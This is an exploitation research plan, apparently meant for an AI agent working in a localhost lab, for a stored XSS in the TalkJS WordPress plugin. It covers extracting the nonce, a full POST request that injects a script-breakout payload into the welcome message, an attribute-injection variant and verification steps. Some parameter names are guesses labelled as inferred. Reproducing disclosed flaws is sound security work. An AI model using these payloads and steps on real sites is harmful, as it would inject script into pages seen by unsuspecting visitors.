Exploitation Research Plan: CVE-2026-1055 (TalkJS Stored XSS)

1. Vulnerability Summary

The TalkJS WordPress plugin (<= 0.1.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the welcomeMessage parameter in its administrator settings. The plugin fails to sanitize the input when saving and fails to escape the output when rendering it on the frontend. This allows an administrator (in environments where unfiltered_html is disabled, such as multisite) to inject malicious scripts that execute in the context of any user viewing a page where the TalkJS chat UI is loaded.

2. Attack Vector Analysis

• Endpoint: wp-admin/options.php (Standard WordPress Settings API) or a plugin-specific settings handler.
• Action: Updating the plugin settings.
• Vulnerable Parameter: talkjs_settings[welcomeMessage] (inferred) or similar key within the TalkJS options array.
• Authentication: Administrator level.
• Precondition: The vulnerability is most relevant on WordPress Multisite or single-site installs where DISALLOW_UNFILTERED_HTML is set to true in wp-config.php.

3. Code Flow (Inferred)

1. Input: Administrator navigates to the TalkJS settings page (likely wp-admin/admin.php?page=talkjs-settings).
2. Storage: The welcomeMessage is submitted. The plugin likely uses register_setting and settings_fields to handle storage.
3. Processing: The input is saved to the wp_options table (likely under the option name talkjs_settings) without using sanitize_text_field or wp_kses.
4. Retrieval: On the frontend, the plugin uses get_option('talkjs_settings').
5. Sink: The plugin renders a JavaScript snippet (often in wp_footer) to initialize TalkJS. It injects the welcomeMessage into a JavaScript string or array within this snippet without using esc_js() or wp_json_encode().

4. Nonce Acquisition Strategy

Since this exploit requires Administrator privileges to update settings, the agent must obtain the standard WordPress settings nonce (_wpnonce).

1. Navigate to Settings: Use browser_navigate to go to the TalkJS settings page.
2. Identify Option Group: Look for the hidden input option_page in the settings form.
3. Extract Nonce:
   • Execute: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")
   • Also identify the exact parameter name: browser_eval("document.querySelector('input[name*=\"welcomeMessage\"]').name")

5. Exploitation Strategy

Step 1: Discovery

Locate the settings page and the specific option name.

# Find where the menu is registered to get the slug
grep -rn "add_menu_page" wp-content/plugins/talkjs/

Step 2: Inject Payload

Assuming the option name is talkjs_settings[welcomeMessage], use the http_request tool to update the setting.

Payload: </script><script>alert(document.domain)</script>
Reasoning: If the message is rendered inside a script tag, we first break out of the string/tag.

Request:

• URL: http://localhost:8080/wp-admin/options.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  option_page=talkjs_settings_group&
  action=update&
  _wpnonce=[EXTRACTED_NONCE]&
  talkjs_settings[welcomeMessage]=</script><script>alert(document.domain)</script>&
  submit=Save+Changes
  

Step 3: Trigger Execution

Navigate to the homepage or a page containing the TalkJS chat UI.

• URL: http://localhost:8080/
• Tool: browser_navigate followed by browser_eval("window.alert") to check for execution.

6. Test Data Setup

1. Install Plugin: Ensure TalkJS <= 0.1.15 is active.
2. Configure Plugin: Set a dummy TalkJS App ID in the settings (usually required for the chat UI to attempt loading).
3. Embed Chat: If the chat doesn't appear automatically, create a post with the TalkJS shortcode:

   wp post create --post_type=page --post_status=publish --post_title="Chat Test" --post_content='[talkjs]' 
   

4. Disable Unfiltered HTML:

   # Add to wp-config.php if not present
   echo "define( 'DISALLOW_UNFILTERED_HTML', true );" >> wp-config.php
   

7. Expected Results

• The HTTP request to options.php should return a 302 Redirect back to the settings page with settings-updated=true.
• When viewing the frontend, the page source should contain the unescaped payload:

  <script>
    ... welcomeMessage: '</script><script>alert(document.domain)</script>', ...
  </script>
  

• The browser should trigger an alert box.

8. Verification Steps

1. Database Check:

   wp option get talkjs_settings --format=json
   

   Verify the welcomeMessage key contains the raw <script> tag.
2. Frontend DOM Check:
   Use browser_eval to search for the injected script tag or the welcomeMessage string in the page source.

9. Alternative Approaches

If the payload is rendered inside an HTML attribute instead of a script block:

• Payload: "><img src=x onerror=alert(1)>

If the settings are saved via AJAX:

• Action: talkjs_save_settings (inferred)
• Tool: Monitor Network tab in browser_navigate while clicking "Save" manually once to identify the AJAX action and parameters. Then automate via http_request.